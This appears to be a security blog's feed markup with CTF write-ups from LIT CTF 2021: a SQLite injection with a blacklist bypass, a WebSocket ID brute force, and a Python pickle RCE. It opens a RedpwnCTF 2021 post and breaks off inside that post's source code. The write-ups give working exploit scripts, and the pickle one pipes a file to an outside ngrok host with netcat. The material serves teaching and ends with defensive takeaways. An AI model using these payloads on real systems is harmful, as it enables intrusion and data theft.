# substitute them here, and use this payload 
# to get the flag
</span><span class="n">payload2</span> <span class="o">=</span> <span class="s">'''Has'
union
SELECT
flag_column
from
flag_is_in_here
where
flag_column
like</span><span class="se">\'</span><span class="s">'''</span>

<span class="n">url</span> <span class="o">=</span> <span class="n">url</span> <span class="o">+</span> <span class="s">"/?param="</span> <span class="o">+</span> <span class="n">payload2</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<h4 id="flag-1">Flag</h4>
<blockquote>
  <p>flag{c0d3tig3r_g0t_gm_p3rf0rm4nc3_on_a_div_1_0rz}</p>
</blockquote>

<p><br /></p>

<h2 id="a-flask-of-pickles">A Flask of Pickles</h2>
<p><img src="/images/lit/pickles.png" alt="" /></p>

<h4 id="source-code-2">Source code</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">secrets</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span>
<span class="kn">import</span> <span class="nn">pickle</span>
<span class="kn">import</span> <span class="nn">base64</span>

<span class="n">flag</span> <span class="o">=</span> <span class="s">"REDACTED"</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>

<span class="n">users</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"example-user"</span><span class="p">:</span> <span class="p">{</span>
        <span class="s">"name"</span><span class="p">:</span> <span class="s">"example"</span><span class="p">,</span>
        <span class="s">"bio"</span><span class="p">:</span> <span class="s">"this is example"</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">"index.html"</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/new"</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">"POST"</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">new</span><span class="p">():</span>

    <span class="c1"># print("request_data", request.get_data())
</span>    <span class="n">pickle_str</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">get_data</span><span class="p">())</span>

    <span class="c1"># print("pickle_str", pickle_str)
</span>    
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">138</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"length exxeded: "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">))</span>

    <span class="n">dict_prefix</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x80\x04\x95</span><span class="s">"</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">)</span><span class="o">-</span><span class="mi">11</span><span class="p">).</span><span class="n">encode</span><span class="p">()</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00</span><span class="s">}</span><span class="se">\x94</span><span class="s">(</span><span class="se">\x8c\x04</span><span class="s">name</span><span class="se">\x94\x8c</span><span class="s">"</span>
    <span class="n">dict_suffix</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x94</span><span class="s">u."</span>
    <span class="c1"># print("dict_suffix", dict_suffix)
</span>    <span class="c1"># print("dict_prefix", dict_prefix)
</span>    
    <span class="c1"># make sure dictionary is valid and no funny business is going on
</span>    <span class="k">if</span> <span class="n">pickle_str</span><span class="p">[:</span><span class="nb">len</span><span class="p">(</span><span class="n">dict_prefix</span><span class="p">)]</span> <span class="o">!=</span> <span class="n">dict_prefix</span> <span class="ow">or</span> <span class="n">pickle_str</span><span class="p">[</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">dict_suffix</span><span class="p">):]</span> <span class="o">!=</span> <span class="n">dict_suffix</span> <span class="ow">or</span> <span class="sa">b</span><span class="s">"flag"</span> <span class="ow">in</span> <span class="n">pickle_str</span> <span class="ow">or</span> <span class="sa">b</span><span class="s">"os."</span> <span class="ow">in</span> <span class="n">pickle_str</span> <span class="ow">or</span> <span class="sa">b</span><span class="s">"open"</span> <span class="ow">in</span> <span class="n">pickle_str</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"uhoh"</span>

    <span class="n">url</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="n">token_urlsafe</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
    <span class="n">obj</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">)</span>
    <span class="c1"># print(obj)
</span>    <span class="n">users</span><span class="p">[</span><span class="n">url</span><span class="p">]</span> <span class="o">=</span> <span class="n">obj</span>    

    <span class="k">return</span> <span class="s">"user?id="</span> <span class="o">+</span> <span class="n">url</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/uhoh"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">uhoh</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">"uhoh.html"</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/user"</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">"GET"</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">user</span><span class="p">():</span>
    <span class="n">uid</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"id"</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">uid</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">10</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"id too short"</span>
    <span class="k">if</span> <span class="n">uid</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">users</span><span class="p">:</span>
        <span class="k">return</span> <span class="s">"user not found :("</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">"user.html"</span><span class="p">,</span> <span class="n">user</span><span class="o">=</span><span class="n">users</span><span class="p">[</span><span class="n">uid</span><span class="p">])</span>
</code></pre></div></div>

<h4 id="vulnerablity-2">Vulnerablity</h4>
<p>I have seen many typical pickle challenges in my previous CTFs. Also have seen some insane challenges which could 
give a Brain Fuck. The goal of the current challenge is to get a Remote Code Execution by exploiting python pickle desirialisation.</p>

<p>Application has a functionality to store a user’s name and Bio. The name and Bio were sent to the application in the form 
of a serialized dictionary. This dictionary was being desirialised in backend to read the values. As the dict can be controlled by
user, we could provide a specially crafted pickle to get RCE.</p>

<p>One way to do that using the <code class="language-plaintext highlighter-rouge">__reduce__</code> method in the pickled class</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">RCE</span><span class="p">():</span>
	<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
		<span class="n">cmd</span> <span class="o">=</span> <span class="s">'ls'</span> <span class="c1"># modify to any command
</span>		<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="n">cmd</span><span class="p">,)</span>
</code></pre></div></div>

<p>But then comes the caveat. The user provided dict signature was being validated. Also the pickle string was being validated with
a blacklist. Along with that, the pickle string’s length is constrained to 138 chars</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">138</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"length exxeded: "</span><span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">))</span>

<span class="n">dict_prefix</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x80\x04\x95</span><span class="s">"</span> <span class="o">+</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pickle_str</span><span class="p">)</span><span class="o">-</span><span class="mi">11</span><span class="p">).</span><span class="n">encode</span><span class="p">()</span> <span class="o">+</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00</span><span class="s">}</span><span class="se">\x94</span><span class="s">(</span><span class="se">\x8c\x04</span><span class="s">name</span><span class="se">\x94\x8c</span><span class="s">"</span>
<span class="n">dict_suffix</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x94</span><span class="s">u."</span>

<span class="c1"># make sure dictionary is valid and no funny business is going on
</span><span class="k">if</span> <span class="n">pickle_str</span><span class="p">[:</span><span class="nb">len</span><span class="p">(</span><span class="n">dict_prefix</span><span class="p">)]</span> <span class="o">!=</span> <span class="n">dict_prefix</span> <span class="ow">or</span> <span class="n">pickle_str</span><span class="p">[</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">dict_suffix</span><span class="p">):]</span> <span class="o">!=</span> <span class="n">dict_suffix</span> <span class="ow">or</span> <span class="sa">b</span><span class="s">"flag"</span> <span class="ow">in</span> <span class="n">pickle_str</span> <span class="ow">or</span> <span class="sa">b</span><span class="s">"os."</span> <span class="ow">in</span> <span class="n">pickle_str</span> <span class="ow">or</span> <span class="sa">b</span><span class="s">"open"</span> <span class="ow">in</span> <span class="n">pickle_str</span><span class="p">:</span>
    <span class="k">return</span> <span class="s">"uhoh"</span>
</code></pre></div></div>
<p>So due to this limitation, we cannot directly pickle the <code class="language-plaintext highlighter-rouge">RCE</code> class. We can only send a pickled dictionary. Also couldn’t use the <code class="language-plaintext highlighter-rouge">os.</code> in the pickle.</p>

<p>Bypassing the above limitations was not that complicated.</p>

<p>First, to bypass the dictionary check, we can assign the object of <code class="language-plaintext highlighter-rouge">RCE</code> class, as a value in the dictionary. 
Doing this way would make our input a valid dict, meanwhile holding the Exploit pickle.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">R</span><span class="p">():</span>                             <span class="c1"># used R as class name to reduce payload size
</span>	<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
		<span class="n">cmd</span> <span class="o">=</span> <span class="s">'ls'</span>
		<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="n">command</span><span class="p">,)</span>

<span class="n">obj</span> <span class="o">=</span> <span class="p">{</span><span class="s">'name'</span><span class="p">:</span> <span class="n">R</span><span class="p">(),</span> <span class="s">'bio'</span><span class="p">:</span> <span class="s">''</span><span class="p">}</span>
<span class="n">pic</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span>
<span class="n">enc</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pic</span><span class="p">)</span>
</code></pre></div></div>
<blockquote>
  <p>We need not to bypass <code class="language-plaintext highlighter-rouge">os.</code>. Because the pickle contains <code class="language-plaintext highlighter-rouge">os</code> and <code class="language-plaintext highlighter-rouge">system</code> as separate strings so the exploit works perfectly.
I guess it was the author’s mistake. He should have used <code class="language-plaintext highlighter-rouge">os</code> instead of <code class="language-plaintext highlighter-rouge">os.</code> in blacklist.</p>
</blockquote>

<p>So, finally i pulled up a ngrok server to listen for reverse connections in my local port. 
As the flag is stored in <code class="language-plaintext highlighter-rouge">flaskofpickles.py</code>, I used <code class="language-plaintext highlighter-rouge">netcat</code> to make a reverse connection to deliver the file to my pc.</p>

<h4 id="exploit-script-2">Exploit script</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">pickle</span><span class="p">,</span> <span class="n">os</span><span class="p">,</span> <span class="n">pickletools</span><span class="p">,</span> <span class="n">requests</span><span class="p">,</span> <span class="n">base64</span>

<span class="n">url</span> <span class="o">=</span> <span class="s">"https://a-flask-of-pickles.litctf.live"</span>
<span class="c1"># url = "http://0.0.0.0:1337"
</span>
<span class="n">rshell</span> <span class="o">=</span> <span class="s">'''cat flaskofpickles.py | nc 2.tcp.ngrok.io 10656'''</span> <span class="c1"># replace ngrok domain
</span>

<span class="k">class</span> <span class="nc">R</span><span class="p">():</span>
	<span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
		<span class="n">cmd</span> <span class="o">=</span> <span class="s">'ls'</span>
		<span class="k">return</span> <span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="n">rshell</span><span class="p">,)</span>

<span class="n">obj</span> <span class="o">=</span> <span class="p">{</span><span class="s">'name'</span><span class="p">:</span> <span class="n">R</span><span class="p">(),</span> <span class="s">'bio'</span><span class="p">:</span> <span class="s">''</span><span class="p">}</span>	

<span class="n">pic</span> <span class="o">=</span> <span class="n">pickle</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">obj</span><span class="p">)</span>
<span class="n">enc</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pic</span><span class="p">)</span>

<span class="n">pickletools</span><span class="p">.</span><span class="n">dis</span><span class="p">(</span><span class="n">pic</span><span class="p">)</span>

<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s">'/new'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">enc</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<h4 id="flag-2">Flag</h4>
<blockquote>
  <p>flag{my_p1ckl35_p0k3d_a_h0l3_in_my_fl4sk}</p>
</blockquote>

<p><br /></p>

<h2 id="takeaways">Takeaways</h2>
<ul>
  <li>Never deserialize user input directly. It you can’t avoid, try implementing hardened security checks (which is impossible, lol)</li>
  <li>Whitelists are better then blacklists.</li>
  <li>Use parameterized queried to avoid SQL injections.</li>
  <li>Keep an eye on abusive funtionality in the application.</li>
</ul>

<p><br />
<br /></p>

<p>Happy Hacking!</p>

<p><br />
<br /></p>

<blockquote>
  <p>Feel free to provide feedback.</p>
</blockquote>]]></content><author><name>Jokr</name><email>hemanthjavvaji007@gmail.com</email></author><category term="LIT-CTF&amp;nbsp;2021" /><category term="web" /><category term="pickle-RCE" /><category term="SQLi" /><category term="WAF-bypass" /><category term="web-sockets" /><summary type="html"><![CDATA[Here, you can find write-ups of few interesting challenges from my solves in LIT CTF 2021. You can find and learn the below mentioned techniques: SQL injection with WAF bypass RCE using python pickle desirialisation, bypassing the input(dictionary) validation Abusing the funtionality of a Web-Socket Server LIT BUGS Source code var express = require('express'); var app = express(); var http = require('http').createServer(app); var io = require('socket.io')(http); var md5 = require("md5"); var fs = require('fs'); const flag = fs.readFileSync("flag.txt",{encoding:'utf8', flag:'r'}); var accounts = {}; // Special account for LIT Organizers var admin_id = Math.floor(Math.random() * 1000) accounts[flag] = { "password": md5(flag), "rand_id": admin_id }; id2Name = {}; for(let [name,account] of Object.entries(accounts)) { id2Name[account["rand_id"]] = name; } io.on('connection',(socket) =&gt; { socket.on('login',(tn,pwd) =&gt; { if(accounts[tn] == undefined || accounts[tn]["password"] != md5(pwd)) { socket.emit("loginRes",false,-3); return; } socket.emit("loginRes",true,accounts[tn]["rand_id"]); return; }); socket.on('reqName',(rand_id) =&gt; { name = id2Name[parseInt(rand_id)]; socket.emit("reqNameRes",name); }); socket.on('register',(tn,pwd) =&gt; { if(accounts[tn] != undefined) { socket.emit("regRes",false,-1); return; } if(Object.keys(accounts).length &gt;= 500) { socket.emit("regRes",false,-2); return; } var rand_id = Math.floor(Math.random() * 1000); while(id2Name[rand_id] != undefined) { rand_id = Math.floor(Math.random() * 1000); } accounts[tn] = { "password": md5(pwd), "rand_id": rand_id }; id2Name[rand_id] = tn; socket.emit("regRes",true,rand_id); }); }); app.get('/',(req,res) =&gt; { res.sendFile(__dirname + '/html/index.html'); }); app.get('/login',(req,res) =&gt; { res.sendFile(__dirname + '/html/login.html'); }); app.get('/register',(req,res) =&gt; { res.sendFile(__dirname + '/html/register.html'); }); app.get('/contest',(req,res) =&gt; { res.sendFile(__dirname + '/html/contest.html'); }); http.listen(8081,() =&gt; { console.log('listening on *:8081'); }); Vulnerablity The application runs uses Web-Sockets which has a funtionality of registering users. Each user has a random 3 digit ID asscociated with his name and password The flag was stored as name of the admin. So, the Goal was to get the admin’s name. Also the application has other funtionality which takes the ID and returns the name. socket.on('reqName',(rand_id) =&gt; { name = id2Name[parseInt(rand_id)]; socket.emit("reqNameRes",name); }); So bruteforcing all the ID’s from 100 to 999 could give us the flag (easy-peasy!) Exploit script var io = require('socket.io-client'); var socket = io.connect('http://websites.litctf.live:8000', {reconnect: true}); // Add a connect listener socket.on('connect', function (socket) { console.log('Connected!'); }); socket.on("reqNameRes", (name) =&gt; { if(name != null &amp;&amp; name.startsWith("flag{")){ console.log("Name: "+name); socket.close(); } }) for(var i=1; i&lt;1000; i++){ socket.emit("reqName", i); } Flag flag{if_y0u_d1d_not_brut3force_ids_plea5e_c0ntact_codetiger} Alex Fan Club Source code import sqlite3 from flask import Flask, render_template, g, request app = Flask(__name__) DATABASE = "db" def get_db(): db = getattr(g, "_database", None) if db is None: db = g._database = sqlite3.connect(DATABASE) return db @app.teardown_appcontext def close_connection(exception): db = getattr(g, "_database", None) if db is not None: db.close() def query_db(query, args=(), one=False): cur = get_db().execute(query, args) rv = cur.fetchall() cur.close() return (rv[0] if rv else None) if one else rv @app.route("/", methods=["GET"]) def index(): param = request.args.get("param") achievements = query_db("select * from achievements") if param != None: sqli = 1 in [c in param for c in "*-/ |%"] if sqli: return render_template("sqli.html") achievements = query_db("select * from achievements where achievement like '%" + param + "%'") achievements = [achievement[0] for achievement in achievements] return render_template("index.html", achievements=achievements) PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE achievements( achievement TEXT PRIMARY KEY NOT NULL ); INSERT INTO achievements VALUES('CF Master'); INSERT INTO achievements VALUES('USACO camper'); INSERT INTO achievements VALUES('pro skillz piano player'); INSERT INTO achievements VALUES('Actually bought sublime text :o'); INSERT INTO achievements VALUES('Knows more chinese than you'); INSERT INTO achievements VALUES('Supreme Leader/Cult Leader of LexMACS'); INSERT INTO achievements VALUES('Organized LIT'); INSERT INTO achievements VALUES('OP at web development'); INSERT INTO achievements VALUES('Puts using namespace std; as the FIRST LINE in his code :O'); INSERT INTO achievements VALUES('Too cool for #include &lt;bits/stdc++.h&gt;'); INSERT INTO achievements VALUES('Top tier MS Paint skills'); INSERT INTO achievements VALUES('Has an informative Youtube channel'); INSERT INTO achievements VALUES('Carried OlyFans during mBIT'); INSERT INTO achievements VALUES('Got top 10 for HSCTF 8'); INSERT INTO achievements VALUES('Is super cool'); INSERT INTO achievements VALUES('Knows fishy15 :yum:'); INSERT INTO achievements VALUES('Has discord nitro'); INSERT INTO achievements VALUES('Beat lots of IGMs in CF Round 728'); INSERT INTO achievements VALUES('Went from pupil to master in ONE year'); INSERT INTO achievements VALUES('Practices consistently orz'); INSERT INTO achievements VALUES('Created USACO Rating'); INSERT INTO achievements VALUES('Able to make better website designs than this'); INSERT INTO achievements VALUES('Able to get AC while using Scanner instead of BufferedReader in Java/Kotlin'); INSERT INTO achievements VALUES('Has a cool profile picture'); CREATE TABLE redacted( redacted TEXT PRIMARY KEY NOT NULL ); INSERT INTO redacted VALUES('flag{redacted}'); COMMIT; Vulnerablity The Website has a search functionality to search among achivements. The search parameter is vulnerable to SQL injection. achievements = query_db("select * from achievements where achievement like '%" + param + "%'") But the search parameter is validated using a blacklist to avoid SQLi. If any character in the blacklist is inside the param then param would get rejected. But there are interesting ways to bypass blacklist filters sqli = 1 in [c in param for c in "*-/ |%"] if sqli: return render_template("sqli.html") The db used is sqlite3. In our case the we need to bypass the space character and comments to get a valid injection. So let me mention few bypasses - Space characters can be avoided using paranthesis. SELECT name from users; --&gt; SELECT(name)FROM(users); Space characters can also be bypassed using \n (new line characters). SELECT name from users; --&gt; SELECT name FROM users; Comments (/* */) can be avoided by making the trailing statement after injection, valid Exploit script import requests url = "http://alex-fan-club.litctf.live" # Use the payload to get the table and column names payload = '''Has' union SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name='redacted' or 'has'like\'''' # After you get the table and column names, # substitute them here, and use this payload # to get the flag payload2 = '''Has' union SELECT flag_column from flag_is_in_here where flag_column like\'''' url = url + "/?param=" + payload2 res = requests.get(url) print(res.text) Flag flag{c0d3tig3r_g0t_gm_p3rf0rm4nc3_on_a_div_1_0rz} A Flask of Pickles Source code import secrets from flask import Flask, render_template, request import pickle import base64 flag = "REDACTED" app = Flask(__name__) users = { "example-user": { "name": "example", "bio": "this is example" } } @app.route("/") def index(): return render_template("index.html") @app.route("/new", methods=["POST"]) def new(): # print("request_data", request.get_data()) pickle_str = base64.b64decode(request.get_data()) # print("pickle_str", pickle_str) if len(pickle_str) &gt; 138: return "length exxeded: "+ str(len(pickle_str)) dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c" dict_suffix = b"\x94u." # print("dict_suffix", dict_suffix) # print("dict_prefix", dict_prefix) # make sure dictionary is valid and no funny business is going on if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str: return "uhoh" url = secrets.token_urlsafe(16) obj = pickle.loads(pickle_str) # print(obj) users[url] = obj return "user?id=" + url @app.route("/uhoh") def uhoh(): return render_template("uhoh.html") @app.route("/user", methods=["GET"]) def user(): uid = request.args.get("id") if len(uid) &lt; 10: return "id too short" if uid not in users: return "user not found :(" return render_template("user.html", user=users[uid]) Vulnerablity I have seen many typical pickle challenges in my previous CTFs. Also have seen some insane challenges which could give a Brain Fuck. The goal of the current challenge is to get a Remote Code Execution by exploiting python pickle desirialisation. Application has a functionality to store a user’s name and Bio. The name and Bio were sent to the application in the form of a serialized dictionary. This dictionary was being desirialised in backend to read the values. As the dict can be controlled by user, we could provide a specially crafted pickle to get RCE. One way to do that using the __reduce__ method in the pickled class class RCE(): def __reduce__(self): cmd = 'ls' # modify to any command return os.system, (cmd,) But then comes the caveat. The user provided dict signature was being validated. Also the pickle string was being validated with a blacklist. Along with that, the pickle string’s length is constrained to 138 chars if len(pickle_str) &gt; 138: return "length exxeded: "+ str(len(pickle_str)) dict_prefix = b"\x80\x04\x95" + chr(len(pickle_str)-11).encode() + b"\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c" dict_suffix = b"\x94u." # make sure dictionary is valid and no funny business is going on if pickle_str[:len(dict_prefix)] != dict_prefix or pickle_str[-len(dict_suffix):] != dict_suffix or b"flag" in pickle_str or b"os." in pickle_str or b"open" in pickle_str: return "uhoh" So due to this limitation, we cannot directly pickle the RCE class. We can only send a pickled dictionary. Also couldn’t use the os. in the pickle. Bypassing the above limitations was not that complicated. First, to bypass the dictionary check, we can assign the object of RCE class, as a value in the dictionary. Doing this way would make our input a valid dict, meanwhile holding the Exploit pickle. class R(): # used R as class name to reduce payload size def __reduce__(self): cmd = 'ls' return os.system, (command,) obj = {'name': R(), 'bio': ''} pic = pickle.dumps(obj) enc = base64.b64encode(pic) We need not to bypass os.. Because the pickle contains os and system as separate strings so the exploit works perfectly. I guess it was the author’s mistake. He should have used os instead of os. in blacklist. So, finally i pulled up a ngrok server to listen for reverse connections in my local port. As the flag is stored in flaskofpickles.py, I used netcat to make a reverse connection to deliver the file to my pc. Exploit script import pickle, os, pickletools, requests, base64 url = "https://a-flask-of-pickles.litctf.live" # url = "http://0.0.0.0:1337" rshell = '''cat flaskofpickles.py | nc 2.tcp.ngrok.io 10656''' # replace ngrok domain class R(): def __reduce__(self): cmd = 'ls' return os.system, (rshell,) obj = {'name': R(), 'bio': ''} pic = pickle.dumps(obj) enc = base64.b64encode(pic) pickletools.dis(pic) res = requests.post(url+'/new', data=enc) print(res.text) Flag flag{my_p1ckl35_p0k3d_a_h0l3_in_my_fl4sk} Takeaways Never deserialize user input directly. It you can’t avoid, try implementing hardened security checks (which is impossible, lol) Whitelists are better then blacklists. Use parameterized queried to avoid SQL injections. Keep an eye on abusive funtionality in the application. Happy Hacking! Feel free to provide feedback.]]></summary></entry><entry><title type="html">RedpwnCTF 2021</title><link href="https://jokrsec.github.io/2021/06/13/redpwnCTF-2021.html" rel="alternate" type="text/html" title="RedpwnCTF 2021" /><published>2021-06-13T00:00:00+00:00</published><updated>2021-06-13T00:00:00+00:00</updated><id>https://jokrsec.github.io/2021/06/13/redpwnCTF-2021</id><content type="html" xml:base="https://jokrsec.github.io/2021/06/13/redpwnCTF-2021.html"><![CDATA[<p><img src="/images/redpwn.png" alt="" />
<br /></p>

<p>Here, you can find write-ups of few interesting challenges from my solves in RedpwnCTF 2021.</p>

<h2 id="cool">Cool</h2>
<p><img src="/images/cool/desc.png" alt="" />
<br /></p>

<h3 id="tldr">TL;DR</h3>
<ul>
  <li>The application allows users to register.</li>
  <li>The register funtionality is vulnerable to SQL injection.</li>
  <li>In this case, SQLi is inside the <a href="http://">INSERT</a> statement.</li>
  <li>Retriving data is non-trivial and time consuming using this type of SQLi.</li>
  <li>The goal is to retrive the admin’s password.</li>
  <li>And we get the flag</li>
</ul>

<p><br /></p>

<p>Looking into website we have a registration page -</p>

<p><img src="/images/cool/regis.png" alt="" /></p>

<p>On registering with an arbitary account and logging in would display the 
following message</p>

<p><img src="/images/cool/message.png" alt="" /></p>

<p>The source code for the website is given. Take a look at it -</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="p">(</span>
    <span class="n">Flask</span><span class="p">,</span>
    <span class="n">request</span><span class="p">,</span>
    <span class="n">render_template_string</span><span class="p">,</span>
    <span class="n">session</span><span class="p">,</span>
    <span class="n">redirect</span><span class="p">,</span>
    <span class="n">send_file</span>
<span class="p">)</span>
<span class="kn">from</span> <span class="nn">random</span> <span class="kn">import</span> <span class="n">SystemRandom</span>
<span class="kn">import</span> <span class="nn">sqlite3</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">app</span><span class="p">.</span><span class="n">secret_key</span> <span class="o">=</span> <span class="s">'IS_THIS_VULN'</span>

<span class="n">rand</span> <span class="o">=</span> <span class="n">SystemRandom</span><span class="p">()</span>

<span class="n">allowed_characters</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span>
    <span class="s">'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'</span>
<span class="p">)</span>

<span class="k">def</span> <span class="nf">execute</span><span class="p">(</span><span class="n">query</span><span class="p">):</span>
    <span class="n">con</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="p">.</span><span class="n">connect</span><span class="p">(</span><span class="s">'db/db.sqlite3'</span><span class="p">)</span>
    <span class="n">cur</span> <span class="o">=</span> <span class="n">con</span><span class="p">.</span><span class="n">cursor</span><span class="p">()</span>
    <span class="n">cur</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
    <span class="n">con</span><span class="p">.</span><span class="n">commit</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">cur</span><span class="p">.</span><span class="n">fetchall</span><span class="p">()</span>


<span class="k">def</span> <span class="nf">generate_token</span><span class="p">():</span>
    
    <span class="n">tok</span> <span class="o">=</span> <span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span>
        <span class="n">rand</span><span class="p">.</span><span class="n">choice</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="n">allowed_characters</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span>
    <span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">tok</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">tok</span>


<span class="k">def</span> <span class="nf">create_user</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="n">username</span><span class="p">)</span>
